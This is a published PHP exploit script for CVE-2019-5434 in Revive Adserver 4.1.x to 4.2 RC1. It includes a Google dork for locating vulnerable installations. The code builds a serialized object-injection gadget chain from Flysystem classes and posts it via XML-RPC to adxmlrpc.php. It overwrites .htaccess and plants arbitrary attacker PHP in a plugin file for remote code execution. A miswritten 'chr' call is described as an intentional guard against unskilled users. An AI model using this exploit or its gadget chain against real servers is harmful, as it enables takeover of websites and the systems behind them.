1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 |
# Exploit Title: Revive Adserver 4.2 - Remote Code Execution # Google Dork: "inurl:www/delivery filetype:php" # Exploit Author: crlf # Vendor Homepage: https://www.revive-adserver.com/ # Software Link: https://www.revive-adserver.com/download/archive/ # Version: 4.1.x <= 4.2 RC1 # Tested on: *nix # CVE : CVE-2019-5434 # Сontains syntax error for protection against skids <?php # Revive Adserver 4.1.x <= 4.2 RC1 PHP Object Injection to Remote Code Execution (CVE-2019-5434) # coded by @crlf, with love for antichat.com # special thanks to @Kaimi :) # the script should be used only for educational purposes! namespace{ (!isset($argv[2]) ? exit(message('php '.basename(__FILE__).' https://example.com/adserver-dir/ \'<?php phpinfo(); ?>\'')) : @list($x, $url, $code) = $argv); $source = 'data:text/html;base64,'.base64_encode('#'); $destination = 'plugins/.htaccess'; #$destination = 'var/.htaccess'; if(!strpos(request($url, $source, $destination), 'methodResponse')) exit(message('failed, no valid response from '.$url)); $source = 'data:text/html;base64,'.base64_encode($code); $destination = 'plugins/3rdPartyServers/ox3rdPartyServers/doubleclick.class.php'; #$destination = 'var/default.conf.php'; request($url, $source, $destination); message('check '.$url.$destination); function request($url, $source, $destination){ $what = serialize( ['what' => new Pdp\Uri\Url( new League\Flysystem\File( $destination, new League\Flysystem\File( 'x://'.$source, new League\Flysystem\MountManager( new League\Flysystem\Filesystem( new League\Flysystem\Config, new League\Flysystem\Adapter\Local('') ), new League\Flysystem\Plugin\ForcedCopy ) ) ) ) ] ); $what = str_replace(['\Uri\Url\00'],['\5CUri\5CUrl\00'], str_replace(['s:', сhr(0)],['S:', '\\00'], $what)); $xml = '<?xml version="1.0" encoding="ISO-8859-1"?> <methodCall> <methodName>openads.spc</methodName> <params> <param> <value> <struct> <member> <name>remote_addr</name> <value>8.8.8.8</value> </member> <member> <name>cookies</name> <value> <array> </array> </value> </member> </struct> </value> </param> <param><value><string>'.$what.'</string></value></param> <param><value><string>0</string></value></param> <param><value><string>dsad</string></value></param> <param><value><boolean>1</boolean></value></param> <param><value><boolean>0</boolean></value></param> <param><value><boolean>1</boolean></value></param> </params> </methodCall>'; return file_get_contents($url.'adxmlrpc.php', false, stream_context_create( ['http' => ['method' => 'POST', 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0', 'header' =>'Content-type: application/x-www-form-urlencoded', 'content'=> $xml ] ]) ); } function message($str){ print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL; } } namespace League\Flysystem\Plugin{ class ForcedCopy{} } namespace League\Flysystem{ class Config{ protected $settings = []; public function __construct(){ $this->settings = ['disable_asserts' => true]; } } class Filesystem{ protected $adapter; protected $config; public function __construct($config,$adapter){ $this->config = $config; $this->adapter = $adapter; } } class MountManager{ protected $filesystems = []; protected $plugins = []; public function __construct($filesystem, $handler){ $this->filesystems = ['x' => $filesystem]; $this->plugins = ['__toString' => $handler]; } } class File{ protected $path; protected $filesystem; public function __construct($path, $obj){ $this->filesystem = $obj; $this->path = $path; } } } namespace League\Flysystem\Adapter{ class Local{ protected $pathPrefix; public function __construct($prefix){ $this->pathPrefix = $prefix; } } } namespace Pdp\Uri{ class Url{ private $host; public function __construct($file){ $this->host = $file; } } } |